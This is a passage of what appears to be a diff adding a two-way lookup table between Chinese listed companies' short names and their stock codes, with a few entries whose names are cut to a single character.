"600612", +"600612": "老凤祥", +"中核钛白": "002145", +"002145": "中核钛白", +"新乳业": "002946", +"002946": "新乳业", +"至纯科技": "603690", +"603690": "至纯科技", +"重庆钢铁": "601005", +"601005": "重庆钢铁", +"上海电力": "600021", +"600021": "上海电力", +"珠江钢琴": "002678", +"002678": "珠江钢琴", +"华岭股份": "430139", +"430139": "华岭股份", +"中科微至": "688211", +"688211": "中科微至", +"中环海陆": "301040", +"301040": "中环海陆", +"康普化学": "834033", +"834033": "康普化学", +"退市西水": "600291", +"600291": "退市西水", +"铁大科技": "872541", +"872541": "铁大科技", +"爱博医疗": "688050", +"688050": "爱博医疗", +"朗源股份": "300175", +"300175": "朗源股份", +"大华股份": "002236", +"002236": "大华股份", +"中国稀土": "000831", +"000831": "中国稀土", +"莲花健康": "600186", +"600186": "莲花健康", +"毅昌科技": "002420", +"002420": "毅昌科技", +"嘉华股份": "603182", +"603182": "嘉华股份", +"双良节能": "600481", +"600481": "双良节能", +"宁波建工": "601789", +"601789": "宁波建工", +"东软集团": "600718", +"600718": "东软集团", +"狮头股份": "600539", +"600539": "狮头股份", +"通灵股份": "301168", +"301168": "通灵股份", +"长安汽车": "000625", +"000625": "长安汽车", +"青山纸业": "600103", +"600103": "青山纸业", +"东南网架": "002135", +"002135": "东南网架", +"万里马": "300591", +"300591": "万里马", +"富信科技": "688662", +"688662": "富信科技", +"ST交投": "002200", +"002200": "ST交投", +"浙江震元": "000705", +"000705": "浙江震元", +"百达精工": "603331", +"603331": "百达精工", +"福瑞达": "600223", +"600223": "福瑞达", +"海晨股份": "300873", +"300873": "海晨股份", +"上实发展": "600748", +"600748": "上实发展", +"捷荣技术": "002855", +"002855": "捷荣技术", +"华信退": "002018", +"002018": "华信退", +"争光股份": "301092", +"301092": "争光股份", +"太极实业": "600667", +"600667": "太极实业", +"百大集团": "600865", +"600865": "百大集团", +"哈三联": "002900", +"002900": "哈三联", +"*ST长方": "300301", +"300301": "*ST长方", +"平潭发展": "000592", +"000592": "平潭发展", +"恒林股份": "603661", +"603661": "恒林股份", +"京粮控股": "000505", +"000505": "京粮控股", +"模塑科技": "000700", +"000700": "模塑科技", +"新雷能": "300593", +"300593": "新雷能", +"中南传媒": "601098", +"601098": "中南传媒", +"迈拓股份": "301006", +"301006": "迈拓股份", +"方正证券": "601901", +"601901": "方正证券", +"云天励飞-U": "688343", +"688343": "云天励飞-U", +"圣莱退": "002473", +"002473": "圣莱退", +"华能国际": "600011", +"600011": "华能国际", +"京基智农": "000048", +"000048": "京基智农", +"保力新": "300116", +"300116": "保力新", +"共进股份": "603118", +"603118": "共进股份", +"崧盛股份": "301002", +"301002": "崧盛股份", +"汇隆新材": "301057", +"301057": "汇隆新材", +"迪普科技": "300768", +"300768": "迪普科技", +"航天电器": "002025", +"002025": "航天电器", +"新潮能源": "600777", +"600777": "新潮能源", +"柳化股份": "600423", +"600423": "柳化股份", +"西王食品": "000639", +"000639": "西王食品", +"广汇物流": "600603", +"600603": "广汇物流", +"华帝股份": "002035", +"002035": "华帝股份", +"中牧股份": "600195", +"600195": "中牧股份", +"御银股份": "002177", +"002177": "御银股份", +"富春环保": "002479", +"002479": "富春环保", +"ST中嘉": "000889", +"000889": "ST中嘉", +"中际联合": "605305", +"605305": "中际联合", +"海欣食品": "002702", +"002702": "海欣食品", +"东方通": "300379", +"300379": "东方通", +"纳芯微": "688052", +"688052": "纳芯微", +"申通地铁": "600834", +"600834": "申通地铁", +"天源环保": "301127", +"301127": "天源环保", +"南极电商": "002127", +"002127": "南极电商", +"盐津铺子": "002847", +"002847": "盐津铺子", +"中铁工业": "600528", +"600528": "中铁工业", +"拓新药业": "301089", +"301089": "拓新药业", +"光韵达": "300227", +"300227": "光韵达", +"宸展光电": "003019", +"003019": "宸展光电", +"德赛电池": "000049", +"000049": "德赛电池", +"华强科技": "688151", +"688151": "华强科技", +"重庆燃气": "600917", +"600917": "重庆燃气", +"仙鹤股份": "603733", +"603733": "仙鹤股份", +"富春染织": "605189", +"605189": "富春染织", +"鲁阳节能": "002088", +"002088": "鲁阳节能", +"洁雅股份": "301108", +"301108": "洁雅股份", +"欧浦退": "002711", +"002711": "欧浦退", +"乐普医疗": "300003", +"300003": "乐普医疗", +"江苏索普": "600746", +"600746": "江苏索普", +"海能达": "002583", +"002583": "海能达", +"辉煌科技": "002296", +"002296": "辉煌科技", +"*ST宋都": "600077", +"600077": "*ST宋都", +"*ST二重": "601268", +"601268": "*ST二重", +"华泰股份": "600308", +"600308": "华泰股份", +"ST天圣": "002872", +"002872": "ST天圣", +"*ST炼石": "000697", +"000697": "*ST炼石", +"N中集环": "301559", +"301559": "N中集环", +"天汽模": "002510", +"002510": "天汽模", +"久之洋": "300516", +"300516": "久之洋", +"海默科技": "300084", +"300084": "海默科技", +"大理药业": "603963", +"603963": "大理药业", +"恒而达": "300946", +"300946": "恒而达", +"拓荆科技": "688072", +"688072": "拓荆科技", +"维尔利": "300190", +"300190": "维尔利", +"上海九百": "600838", +"600838": "上海九百", +"ST信通": "600289", +"600289": "ST信通", +"常铝股份": "002160", +"002160": "常铝股份", +"许继电气": "000400", +"000400": "许继电气", +"上海医药": "601607", +"601607": "上海医药", +"赛维时代": "301381", +"301381": "赛维时代", +"华孚时尚": "002042", +"002042": "华孚时尚", +"华盛昌": "002980", +"002980": "华盛昌", +"安记食品": "603696", +"603696": "安记食品", +"复旦微电": "688385", +"688385": "复旦微电", +"康为世纪": "688426", +"688426": "康为世纪", +"海优新材": "688680", +"688680": "海优新材", +"正海磁材": "300224", +"300224": "正海磁材", +"ST升达": "002259", +"002259": "ST升达", +"盈方微": "000670", +"000670": "盈方微", +"永贵电器": "300351", +"300351": "永贵电器", +"双环科技": "000707", +"000707": "双环科技", +"华兴源创": "688001", +"688001": "华兴源创", +"泰豪科技": "600590", +"600590": "泰豪科技", +"风华高科": "000636", +"000636": "风华高科", +"新研股份": "300159", +"300159": "新研股份", +"双鹭药业": "002038", +"002038": "双鹭药业", +"卫光生物": "002880", +"002880": "卫光生物", +"重庆水务": "601158", +"601158": "重庆水务", +"京东方Ａ": "000725", +"000725": "京东方Ａ", +"圣阳股份": "002580", +"002580": "圣阳股份", +"力帆科技": "601777", +"601777": "力帆科技", +"壹石通": "688733", +"688733": "壹石通", +"罗曼股份": "605289", +"605289": "罗曼股份", +"和晶科技": "300279", +"300279": "和晶科技", +"惠丰钻石": "839725", +"839725": "惠丰钻石", +"京沪高铁": "601816", +"601816": "京沪高铁", +"三夫户外": "002780", +"002780": "三夫户外", +"创耀科技": "688259", +"688259": "创耀科技", +"四川成渝": "601107", +"601107": "四川成渝", +"华金资本": "000532", +"000532": "华金资本", +"实丰文化": "002862", +"002862": "实丰文化", +"聚灿光电": "300708", +"300708": "聚灿光电", +"罗普斯金": "002333", +"002333": "罗普斯金", +"诚益通": "300430", +"300430": "诚益通", +"中迪投资": "000609", +"000609": "中迪投资", +"润普食品": "836422", +"836422": "润普食品", +"海融科技": "300915", +"300915": "海融科技", +"宝钢股份": "600019", +"600019": "宝钢股份", +"云煤能源": "600792", +"600792": "云煤能源", +"中荣股份": "301223", +"301223": "中荣股份", +"南网储能": "600995", +"600995": "南网储能", +"联发股份": "002394", +"002394": "联发股份", +"沪江材料": "870204", +"870204": "沪江材料", +"豪美新材": "002988", +"002988": "豪美新材", +"中粮科技": "000930", +"000930": "中粮科技", +"肇民科技": "301000", +"301000": "肇民科技", +"美思德": "603041", +"603041": "美思德", +"恒立液压": "601100", +"601100": "恒立液压", +"铂力特": "688333", +"688333": "铂力特", +"健盛集团": "603558", +"603558": "健盛集团", +"粤高速Ａ": "000429", +"000429": "粤高速Ａ", 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"871694", +"871694": "中裕科技", +"江特电机": "002176", +"002176": "江特电机", +"广汇能源": "600256", +"600256": "广汇能源", +"万邦德": "002082", +"002082": "万邦德", +"九典制药": "300705", +"300705": "九典制药", +"智慧农业": "000816", +"000816": "智慧农业", +"三峡能源": "600905", +"600905": "三峡能源", +"建设工业": "002265", +"002265": "建设工业", +"新炬网络": "605398", +"605398": "新炬网络", +"卡倍亿": "300863", +"300863": "卡倍亿", +"中国卫通": "601698", +"601698": "中国卫通", +"香溢融通": "600830", +"600830": "香溢融通", +"科捷智能": "688455", +"688455": "科捷智能", +"*ST目药": "600671", +"600671": "*ST目药", +"天振股份": "301356", +"301356": "天振股份", +"君亭酒店": "301073", +"301073": "君亭酒店", +"同方股份": "600100", +"600100": "同方股份", +"涪陵榨菜": "002507", +"002507": "涪陵榨菜", +"永新股份": "002014", +"002014": "永新股份", +"中一科技": "301150", +"301150": "中一科技", +"中公高科": "603860", +"603860": "中公高科", +"派林生物": "000403", +"000403": "派林生物", +"吉宏股份": "002803", +"002803": "吉宏股份", +"百润股份": "002568", +"002568": "百润股份", +"步": "002251", +"002251": "步", +"世茂能源": "605028", +"605028": "世茂能源", +"联合水务": "603291", +"603291": "联合水务", +"明德生物": "002932", +"002932": "明德生物", +"佳都科技": "600728", +"600728": "佳都科技", +"联科科技": "001207", +"001207": "联科科技", +"设研院": "300732", +"300732": "设研院", +"富邦股份": "300387", +"300387": "富邦股份", +"德联集团": "002666", +"002666": "德联集团", +"盛达资源": "000603", +"000603": "盛达资源", +"万向钱潮": "000559", +"000559": "万向钱潮", +"煜邦电力": "688597", +"688597": "煜邦电力", +"东软载波": "300183", +"300183": "东软载波", +"科华数据": "002335", +"002335": "科华数据", +"科力远": "600478", +"600478": "科力远", +"亚通股份": "600692", +"600692": "亚通股份", +"泓禧科技": "871857", +"871857": "泓禧科技", +"南方航空": "600029", +"600029": "南方航空", +"盘古智能": "301456", +"301456": "盘古智能", +"长江材料": "001296", +"001296": "长江材料", +"千方科技": "002373", +"002373": "千方科技", +"*ST园城": "600766", +"600766": "*ST园城", +"杭州园林": "300649", +"300649": "杭州园林", +"珠城科技": "301280", +"301280": "珠城科技", +"海正药业": "600267", +"600267": "海正药业", +"普天科技": "002544", +"002544": "普天科技", +"环球印务": "002799", +"002799": "环球印务", +"天禾股份": "002999", +"002999": "天禾股份", +"恒进感应": "838670", +"838670": "恒进感应", +"可川科技": "603052", +"603052": "可川科技", +"晟楠科技": "837006", +"837006": "晟楠科技", +"天原股份": "002386", +"002386": "天原股份", +"力王股份": "831627", +"831627": "力王股份", +"上海凯鑫": "300899", +"300899": "上海凯鑫", +"泰和科技": "300801", +"300801": "泰和科技", +"东方时尚": "603377", +"603377": "东方时尚", +"长久物流": "603569", +"603569": "长久物流", +"茂业商业": "600828", +"600828": "茂业商业", +"*ST中天": "000540", +"000540": "*ST中天", +"烯碳退": "000511", +"000511": "烯碳退", +"康强电子": "002119", +"002119": "康强电子", +"致远新能": "300985", +"300985": "致远新能", +"智信精密": "301512", +"301512": "智信精密", +"长春一东": "600148", +"600148": "长春一东", +"海螺新材": "000619", +"000619": "海螺新材", +"诺思格": "301333", +"301333": "诺思格", +"华海清科": "688120", +"688120": "华海清科", +"东方雨虹": "002271", +"002271": "东方雨虹", +"英飞特": "300582", +"300582": "英飞特", +"晶合集成": "688249", +"688249": "晶合集成", +"宇邦新材": "301266", +"301266": "宇邦新材", +"柯力传感": "603662", +"603662": "柯力传感", +"碧兴物联": "688671", +"688671": "碧兴物联", +"隆达股份": "688231", +"688231": "隆达股份", +"英搏尔": "300681", +"300681": "英搏尔", +"赛福天": "603028", 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+"秀强股份": "300160", +"300160": "秀强股份", +"富临运业": "002357", +"002357": "富临运业", +"雪龙集团": "603949", +"603949": "雪龙集团", +"药康生物": "688046", +"688046": "药康生物", +"信邦制药": "002390", +"002390": "信邦制药", +"大华农": "300186", +"300186": "大华农", +"上海钢联": "300226", +"300226": "上海钢联", +"长高电新": "002452", +"002452": "长高电新", +"福日电子": "600203", +"600203": "福日电子", +"威胜信息": "688100", +"688100": "威胜信息", +"海伦哲": "300201", +"300201": "海伦哲", +"宝钛股份": "600456", +"600456": "宝钛股份", +"华丰科技": "688629", +"688629": "华丰科技", +"泸州老窖": "000568", +"000568": "泸州老窖", +"中汽股份": "301215", +"301215": "中汽股份", +"华虹公司": "688347", +"688347": "华虹公司", +"安科瑞": "300286", +"300286": "安科瑞", +"邦基科技": "603151", +"603151": "邦基科技", +"新世界": "600628", +"600628": "新世界", +"伟测科技": "688372", +"688372": "伟测科技", +"西上海": "605151", +"605151": "西上海", +"哈焊华通": "301137", +"301137": "哈焊华通", +"寒锐钴业": "300618", +"300618": "寒锐钴业", +"龙磁科技": "300835", +"300835": "龙磁科技", +"北部湾港": "000582", +"000582": "北部湾港", +"宋城演艺": "300144", +"300144": "宋城演艺", +"苏州科达": "603660", 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+"博雅生物": "300294", +"300294": "博雅生物", +"智立方": "301312", +"301312": "智立方", +"华依科技": "688071", +"688071": "华依科技", +"陕西金叶": "000812", +"000812": "陕西金叶", +"儒竞科技": "301525", +"301525": "儒竞科技", +"齐峰新材": "002521", +"002521": "齐峰新材", +"新产业": "300832", +"300832": "新产业", +"皖天然气": "603689", +"603689": "皖天然气", +"百诚医药": "301096", +"301096": "百诚医药", +"庄园牧场": "002910", +"002910": "庄园牧场", +"路畅科技": "002813", +"002813": "路畅科技", +"浙农股份": "002758", +"002758": "浙农股份", +"思创医惠": "300078", +"300078": "思创医惠", +"中成股份": "000151", +"000151": "中成股份", +"索通发展": "603612", +"603612": "索通发展", +"兔": "002043", +"002043": "兔", +"老百姓": "603883", +"603883": "老百姓", +"金禄电子": "301282", +"301282": "金禄电子", +"日照港": "600017", +"600017": "日照港", +"德奥退": "002260", +"002260": "德奥退", +"龙高股份": "605086", +"605086": "龙高股份", +"高争民爆": "002827", +"002827": "高争民爆", +"中锐股份": "002374", +"002374": "中锐股份", +"退市工新": "600701", +"600701": "退市工新", +"亿嘉和": "603666", +"603666": "亿嘉和", +"海汽集团": "603069", +"603069": "海汽集团", +"中国通号": "688009", +"688009": "中国通号", +"康泰医学": "300869", +"300869": "康泰医学", +"朗科智能": "300543", +"300543": "朗科智能", +"全": "002186", +"002186": "全", +"沃华医药": "002107", +"002107": "沃华医药", +"*ST成城": "600247", +"600247": "*ST成城", +"上海机电": "600835", +"600835": "上海机电", +"文化退": "300089", +"300089": "文化退", +"兴民智通": "002355", +"002355": "兴民智通", +"三维通信": "002115", +"002115": "三维通信", +"润贝航科": "001316", +"001316": "润贝航科", +"学大教育": "000526", +"000526": "学大教育", +"龙韵股份": "603729", +"603729": "龙韵股份", +"永安林业": "000663", +"000663": "永安林业", +"回天新材": "300041", +"300041": "回天新材", +"丰山集团": "603810", +"603810": "丰山集团", +"药石科技": "300725", +"300725": "药石科技", +"嘉诚国际": "603535", +"603535": "嘉诚国际", +"同济科技": "600846", +"600846": "同济科技", +"日丰股份": "002953", +"002953": "日丰股份", +"佛燃能源": "002911", +"002911": "佛燃能源", +"华宇软件": "300271", +"300271": "华宇软件", +"天宝退": "002220", +"002220": "天宝退", +"科力尔": "002892", +"002892": "科力尔", +"德冠新材": "001378", +"001378": "德冠新材", +"川润股份": "002272", +"002272": "川润股份", +"科大讯飞": "002230", +"002230": "科大讯飞", +"敏芯股份": "688286", +"688286": "敏芯股份", +"昆药集团": "600422", +"600422": "昆药集团", +"腾邦退": "300178", +"300178": "腾邦退", +"山西路桥": "000755", +"000755": "山西路桥", +"暴风退": "300431", +"300431": "暴风退", +"广钢气体": "688548", +"688548": "广钢气体", +"路维光电": "688401", +"688401": "路维光电", +"君正集团": "601216", +"601216": "君正集团", +"弘讯科技": "603015", +"603015": "弘讯科技", +"春秋电子": "603890", +"603890": "春秋电子", +"上海新阳": "300236", +"300236": "上海新阳", +"退市秋林": "600891", +"600891": "退市秋林", +"中基健康": "000972", +"000972": "中基健康", +"道氏技术": "300409", +"300409": "道氏技术", +"农": "000061", +"000061": "农", +"时空科技": "605178", +"605178": "时空科技", +"江西铜业": "600362", +"600362": "江西铜业", +"大宏立": "300865", +"300865": "大宏立", +"常润股份": "603201", +"603201": "常润股份", +"好利科技": "002729", +"002729": "好利科技", +"招商地产": "000024", +"000024": "招商地产", +"市北高新": "600604", +"600604": "市北高新", +"东方生物": "688298", +"688298": "东方生物", +"*ST哈慈": "600752", +"600752": "*ST哈慈", +"苏州固锝": "002079", +"002079": "苏州固锝", +"珠海中富": "000659", +"000659": "珠海中富", +"安达科技": "830809", +"830809": "安达科技", +"湘潭电化": "002125", +"002125": "湘潭电化", +"世嘉科技": "002796", +"002796": "世嘉科技", +"联赢激光": "688518", +"688518": "联赢激光", +"晶丰明源": "688368", +"688368": "晶丰明源", +"隆基绿能": "601012", +"601012": "隆基绿能", +"英联股份": "002846", +"002846": "英联股份", +"安联锐视": "301042", +"301042": "安联锐视", +"德源药业": "832735", +"832735": "德源药业", +"鑫宏业": "301310", +"301310": "鑫宏业", +"优机股份": "833943", +"833943": "优机股份", +"金奥博": "002917", +"002917": "金奥博", +"北辰实业": "601588", +"601588": "北辰实业", +"之江生物": "688317", +"688317": "之江生物", +"南都电源": "300068", +"300068": "南都电源", +"科隆股份": "300405", +"300405": "科隆股份", +"铜冠铜箔": "301217", +"301217": "铜冠铜箔", +"中航西飞": "000768", +"000768": "中航西飞", +"海通证券": "600837", +"600837": "海通证券", +"合众思壮": "002383", +"002383": "合众思壮", +"光大银行": "601818", +"601818": "光大银行", +"科顺股份": "300737", +"300737": "科顺股份", +"华东医药": "000963", +"000963": "华东医药", +"易成新能": "300080", +"300080": "易成新能", +"楚天龙": "003040", +"003040": "楚天龙", +"天邑股份": "300504", +"300504": "天邑股份", +"泉峰汽车": "603982", +"603982": "泉峰汽车", +"明阳电路": "300739", +"300739": "明阳电路", +"奥特维": "688516", +"688516": "奥特维", +"欢瑞世纪": "000892", +"000892": "欢瑞世纪", +"玉马遮阳": "300993", +"300993": "玉马遮阳", +"GQY视讯": "300076", +"300076": "GQY视讯", +"长江电力": "600900", +"600900": "长江电力", +"全志科技": "300458", +"300458": "全志科技", +"数知退": "300038", +"300038": "数知退", +"隆盛科技": "300680", +"300680": "隆盛科技", +"上海亚虹": "603159", +"603159": "上海亚虹", +"兆日科技": "300333", +"300333": "兆日科技", +"贵广网络": "600996", +"600996": "贵广网络", +"洋河股份": "002304", +"002304": "洋河股份", +"四通股份": "603838", +"603838": "四通股份", +"巨人网络": "002558", +"002558": "巨人网络", +"风语筑": "603466", +"603466": "风语筑", +"东方日升": "300118", +"300118": "东方日升", +"宝光股份": "600379", +"600379": "宝光股份", +"光格科技": "688450", +"688450": "光格科技", +"浙江自然": "605080", +"605080": "浙江自然", +"亿帆医药": "002019", +"002019": "亿帆医药", +"建科股份": "301115", +"301115": "建科股份", +"上海建科": "603153", +"603153": "上海建科", +"华泽退": "000693", +"000693": "华泽退", +"珈伟新能": "300317", +"300317": "珈伟新能", +"中联重科": "000157", +"000157": "中联重科", +"航新科技": "300424", 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+"飞力达": "300240", +"300240": "飞力达", +"ST宏业": "000689", +"000689": "ST宏业", +"宝丰能源": "600989", +"600989": "宝丰能源", +"中矿资源": "002738", +"002738": "中矿资源", +"六国化工": "600470", +"600470": "六国化工", +"桂冠电力": "600236", +"600236": "桂冠电力", +"安凯客车": "000868", +"000868": "安凯客车", +"睿智医药": "300149", +"300149": "睿智医药", +"联泓新科": "003022", +"003022": "联泓新科", +"楚环科技": "001336", +"001336": "楚环科技", +"广州港": "601228", +"601228": "广州港", +"广东鸿图": "002101", +"002101": "广东鸿图", +"德恩精工": "300780", +"300780": "德恩精工", +"宏源证券": "000562", +"000562": "宏源证券", +"申达股份": "600626", +"600626": "申达股份", +"杭齿前进": "601177", +"601177": "杭齿前进", +"ST交昂": "600530", +"600530": "ST交昂", +"蓝特光学": "688127", +"688127": "蓝特光学", +"丽臣实业": "001218", +"001218": "丽臣实业", +"ST大集": "000564", +"000564": "ST大集", +"锦富技术": "300128", +"300128": "锦富技术", +"招商南油": "601975", +"601975": "招商南油", +"崇达技术": "002815", +"002815": "崇达技术", +"ST平能": "000780", +"000780": "ST平能", +"生物谷": "833266", +"833266": "生物谷", +"*ST猴王": "000535", +"000535": "*ST猴王", +"路德环境": "688156", +"688156": "路德环境", +"朗新科技": "300682", +"300682": "朗新科技", +"创识科技": "300941", +"300941": "创识科技", +"利柏特": "605167", +"605167": "利柏特", +"中天科技": "600522", +"600522": "中天科技", +"东芯股份": "688110", +"688110": "东芯股份", +"豪悦护理": "605009", +"605009": "豪悦护理", +"跃岭股份": "002725", +"002725": "跃岭股份", +"昊华科技": "600378", +"600378": "昊华科技", +"隆平高科": "000998", +"000998": "隆平高科", +"嘉化能源": "600273", +"600273": "嘉化能源", +"神力股份": "603819", +"603819": "神力股份", +"金鹰重工": "301048", +"301048": "金鹰重工", +"兴业股份": "603928", +"603928": "兴业股份", +"一诺威": "834261", +"834261": "一诺威", +"藏格矿业": "000408", +"000408": "藏格矿业", +"华谊集团": "600623", +"600623": "华谊集团", +"晨化股份": "300610", +"300610": "晨化股份", +"科华控股": "603161", +"603161": "科华控股", +"风范股份": "601700", +"601700": "风范股份", +"银宝山新": "002786", +"002786": "银宝山新", +"海德股份": "000567", +"000567": "海德股份", +"健民集团": "600976", +"600976": "健民集团", +"铁岭新城": "000809", +"000809": "铁岭新城", +"宁波精达": "603088", +"603088": "宁波精达", +"中国武夷": "000797", +"000797": "中国武夷", +"蓝科高新": "601798", +"601798": "蓝科高新", +"圣农发展": "002299", +"002299": "圣农发展", +"顺博合金": "002996", +"002996": "顺博合金", +"加加食品": "002650", +"002650": "加加食品", +"朗鸿科技": "836395", +"836395": "朗鸿科技", +"海鸥股份": "603269", +"603269": "海鸥股份", +"兆驰股份": "002429", +"002429": "兆驰股份", +"北方华创": "002371", +"002371": "北方华创", +"力鼎光电": "605118", +"605118": "力鼎光电", +"美达股份": "000782", +"000782": "美达股份", +"宝通科技": "300031", +"300031": "宝通科技", +"凯利泰": "300326", +"300326": "凯利泰", +"兴图新科": "688081", +"688081": "兴图新科", +"ST澄星": "600078", +"600078": "ST澄星", +"通达海": "301378", +"301378": "通达海", +"深": "000058", +"000058": "深", +"海源复材": "002529", +"002529": "海源复材", +"先进数通": "300541", +"300541": "先进数通", +"开能健康": "300272", +"300272": "开能健康", +"立方数科": "300344", +"300344": "立方数科", +"景旺电子": "603228", +"603228": "景旺电子", +"中科江南": "301153", +"301153": "中科江南", +"同庆楼": "605108", +"605108": "同庆楼", +"*ST天山": "300313", +"300313": "*ST天山", +"沈阳化工": "000698", +"000698": "沈阳化工", +"嘉亨家化": "300955", +"300955": "嘉亨家化", +"宇晶股份": "002943", +"002943": "宇晶股份", +"山西汾酒": "600809", +"600809": "山西汾酒", +"同享科技": "839167", +"839167": "同享科技", +"指南针": "300803", +"300803": "指南针", +"微光股份": "002801", +"002801": "微光股份", +"青鸟消防": "002960", +"002960": "青鸟消防", +"基康仪器": "830879", +"830879": "基康仪器", +"亿华通-U": "688339", +"688339": "亿华通-U", +"润本股份": "603193", +"603193": "润本股份", +"恒烁股份": "688416", +"688416": "恒烁股份", +"天合光能": "688599", +"688599": "天合光能", +"北京利尔": "002392", +"002392": "北京利尔", +"友好集团": "600778", +"600778": "友好集团", +"长荣股份": "300195", +"300195": "长荣股份", +"金冠股份": "300510", +"300510": "金冠股份", +"易瑞生物": "300942", +"300942": "易瑞生物", +"奥飞数据": "300738", +"300738": "奥飞数据", +"赣锋锂业": "002460", +"002460": "赣锋锂业", +"康缘药业": "600557", +"600557": "康缘药业", +"祥龙电业": "600769", +"600769": "祥龙电业", +"退市新亿": "600145", +"600145": "退市新亿", +"闽发铝业": "002578", +"002578": "闽发铝业", +"聚光科技": "300203", +"300203": "聚光科技", +"*ST红相": "300427", +"300427": "*ST红相", +"光电股份": "600184", +"600184": "光电股份", +"雄韬股份": "002733", +"002733": "雄韬股份", +"唐德影视": "300426", +"300426": "唐德影视", +"杭可科技": "688006", +"688006": "杭可科技", +"渝": "000514", +"000514": "渝", +"洁特生物": "688026", +"688026": "洁特生物", +"德美化工": "002054", +"002054": "德美化工", +"东方通信": "600776", +"600776": "东方通信", +"北方铜业": "000737", +"000737": "北方铜业", +"泰嘉股份": "002843", +"002843": "泰嘉股份", +"立航科技": "603261", +"603261": "立航科技", +"艾德生物": "300685", +"300685": "艾德生物", +"申能股份": "600642", +"600642": "申能股份", +"*ST榕泰": "600589", +"600589": "*ST榕泰", +"新五丰": "600975", +"600975": "新五丰", +"佳缘科技": "301117", +"301117": "佳缘科技", +"海欣股份": "600851", +"600851": "海欣股份", +"云创数据": "835305", +"835305": "云创数据", +"禾丰股份": "603609", +"603609": "禾丰股份", +"九洲集团": "300040", +"300040": "九洲集团", +"青达环保": "688501", +"688501": "青达环保", +"凯盛新能": "600876", +"600876": "凯盛新能", +"铂科新材": "300811", +"300811": "铂科新材", +"同惠电子": "833509", +"833509": "同惠电子", +"值得买": "300785", +"300785": "值得买", +"力合科技": "300800", +"300800": "力合科技", +"润都股份": "002923", +"002923": "润都股份", +"智度股份": "000676", +"000676": "智度股份", +"联瑞新材": "688300", +"688300": "联瑞新材", +"国茂股份": "603915", +"603915": "国茂股份", +"光莆股份": "300632", +"300632": "光莆股份", +"神奇制药": "600613", +"600613": "神奇制药", +"美硕科技": "301295", +"301295": "美硕科技", +"通光线缆": "300265", +"300265": "通光线缆", +"显盈科技": "301067", +"301067": "显盈科技", +"泰德股份": "831278", +"831278": "泰德股份", +"成都银行": "601838", +"601838": "成都银行", +"三联虹普": "300384", +"300384": "三联虹普", +"长飞光纤": "601869", +"601869": "长飞光纤", +"金力永磁": "300748", +"300748": "金力永磁", +"融捷股份": "002192", +"002192": "融捷股份", +"长城汽车": "601633", +"601633": "长城汽车", +"荣盛石化": "002493", +"002493": "荣盛石化", +"清水源": "300437", +"300437": "清水源", +"新化股份": "603867", +"603867": "新化股份", +"益佰制药": "600594", +"600594": "益佰制药", +"华信永道": "837592", +"837592": "华信永道", +"中兴通讯": "000063", +"000063": "中兴通讯", +"凯中精密": "002823", +"002823": "凯中精密", +"黑猫股份": "002068", +"002068": "黑猫股份", +"凯盛新材": "301069", +"301069": "凯盛新材", +"晶品特装": "688084", +"688084": "晶品特装", +"内蒙新华": "603230", +"603230": "内蒙新华", +"雅化集团": "002497", +"002497": "雅化集团", +"江南水务": "601199", +"601199": "江南水务", +"北陆药业": "300016", +"300016": "北陆药业", +"ST中珠": "600568", +"600568": "ST中珠", +"勤上股份": "002638", +"002638": "勤上股份", +"人人乐": "002336", +"002336": "人人乐", +"优宁维": "301166", +"301166": "优宁维", +"北京君正": "300223", +"300223": "北京君正", +"永辉超市": "601933", +"601933": "永辉超市", +"京山轻机": "000821", +"000821": "京山轻机", +"雷曼光电": "300162", +"300162": "雷曼光电", +"帝科股份": "300842", +"300842": "帝科股份", +"普莱柯": "603566", +"603566": "普莱柯", +"常青科技": "603125", +"603125": "常青科技", +"阳普医疗": "300030", +"300030": "阳普医疗", +"鲁信创投": "600783", +"600783": "鲁信创投", +"燕东微": "688172", +"688172": "燕东微", +"*ST新海": "002089", +"002089": "*ST新海", +"酷特智能": "300840", +"300840": "酷特智能", +"宝信软件": "600845", +"600845": "宝信软件", +"金三江": "301059", +"301059": "金三江", +"兴发集团": "600141", +"600141": "兴发集团", +"禾盛新材": "002290", +"002290": "禾盛新材", +"上海石化": "600688", +"600688": "上海石化", +"易联众": "300096", +"300096": "易联众", +"祥和实业": "603500", +"603500": "祥和实业", +"保立佳": "301037", +"301037": "保立佳", +"中航电测": "300114", +"300114": "中航电测", +"厦门银行": "601187", +"601187": "厦门银行", +"海南高速": "000886", +"000886": "海南高速", +"中航高科": "600862", +"600862": "中航高科", +"金沃股份": "300984", +"300984": "金沃股份", +"诚志股份": "000990", +"000990": "诚志股份", +"广博股份": "002103", +"002103": "广博股份", +"友邦吊顶": "002718", +"002718": "友邦吊顶", +"中国石油": "601857", +"601857": "中国石油", +"国泰君安": "601211", +"601211": "国泰君安", +"汇洁股份": "002763", +"002763": "汇洁股份", +"坚朗五金": "002791", +"002791": "坚朗五金", +"东南电子": "301359", +"301359": "东南电子", +"南": "002040", +"002040": "南", +"盖世食品": "836826", +"836826": "盖世食品", +"新安股份": "600596", +"600596": "新安股份", +"青岛食品": "001219", +"001219": "青岛食品", +"生益科技": "600183", +"600183": "生益科技", +"世纪瑞尔": "300150", +"300150": "世纪瑞尔", +"盟科药业-U": "688373", +"688373": "盟科药业-U", +"骆驼股份": "601311", +"601311": "骆驼股份", +"退市泽达": "688555", +"688555": "退市泽达", +"华峰超纤": "300180", +"300180": "华峰超纤", +"力合微": "688589", +"688589": "力合微", +"旋极信息": "300324", +"300324": "旋极信息", +"秋田微": "300939", +"300939": "秋田微", +"欧林生物": "688319", +"688319": "欧林生物", +"国瓷材料": "300285", +"300285": "国瓷材料", +"铭利达": "301268", +"301268": "铭利达", +"杭钢股份": "600126", +"600126": "杭钢股份", +"云图控股": "002539", +"002539": "云图控股", +"宇通重工": "600817", +"600817": "宇通重工", +"澳柯玛": "600336", +"600336": "澳柯玛", +"ST世茂": "600823", +"600823": "ST世茂", +"美埃科技": "688376", +"688376": "美埃科技", +"星源材质": "300568", +"300568": "星源材质", +"西测测试": "301306", +"301306": "西测测试", +"思源电气": "002028", +"002028": "思源电气", +"中国能建": "601868", +"601868": "中国能建", +"省广集团": "002400", +"002400": "省广集团", +"国义招标": "831039", +"831039": "国义招标", +"浩洋股份": "300833", +"300833": "浩洋股份", +"佐力药业": "300181", +"300181": "佐力药业", +"金牛化工": "600722", +"600722": "金牛化工", +"东方锅炉": "600786", +"600786": "东方锅炉", +"劲嘉股份": "002191", +"002191": "劲嘉股份", +"盘龙药业": "002864", +"002864": "盘龙药业", +"紫建电子": "301121", +"301121": "紫建电子", +"新特电气": "301120", +"301120": "新特电气", +"四川双马": "000935", +"000935": "四川双马", +"万讯自控": "300112", +"300112": 